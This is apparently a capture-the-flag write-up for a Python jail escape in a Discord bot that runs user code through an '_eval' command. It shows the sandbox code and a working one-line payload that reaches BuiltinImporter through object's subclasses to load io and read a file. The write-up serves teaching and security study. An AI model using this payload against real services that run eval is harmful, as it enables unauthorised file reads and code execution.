Tags: jailbreak discord python keithbot 


# Keith Bot
Looking at the discord api, it's evident that the bot executes `on_message` when it receives a text. Which executes any python code prefixed with `_eval`.
eval.py reveals that we are in a situation, python jail.
We can execute commands but only a limited number of them.
These two lines make sure we cannot execute builtin commands.
env = {"__builtins__": {}}

exec(f"def func():\n{textwrap.indent(sys.stdin.read(), ' ')}", env)

It also states that the input sent is used to create a function named `func` which is later called and the return value is sent back by the text.
Sending `_eval return 0` verifies this prediction.
![return 0](https://i.imgur.com/uhu3ULN.png)

As we are in a jail, we cannot execute most of the functions but we can play with the data types.
[Standard types](https://docs.python.org/3/library/stdtypes.html#instance.__class__) here show some useful properties.
Tracing the tree, we can deduce that
`().__class__.__bases__[0]` would provide us with an `object` class.
`().__class__.__bases__[0].__subclasses__()` wolud provide a list of all subclasses of `object` we can use now.

Though, in this scenario
`_eval return ().__class__.__bases__[0].__subclasses__()` results nothing, probably because of some character limit.
The workaround is to split the list and view part-wise.
`_eval return ().__class__.__bases__[0].__subclasses__()[0:50]`
and so on.

![object subclasses](https://i.imgur.com/3BW88NF.png)

On further inspection of the subclasses, there is one `BulitinImporter` class available at our disposal. A normal search reveals that [BuiltinImporter](https://docs.python.org/3/library/importlib.html#importlib.machinery.BuiltinImporter) implements [InspectLoader](https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader) which provides [load_module](https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.load_module) function.

Using the same, it is possible to load the [io module](https://docs.python.org/3/library/io.html) and read the flag.
The final exploit would look like
_eval return [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__=='BuiltinImporter' ][0].load_module('io').open('flag.txt').read()
which results in

Further reading: [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)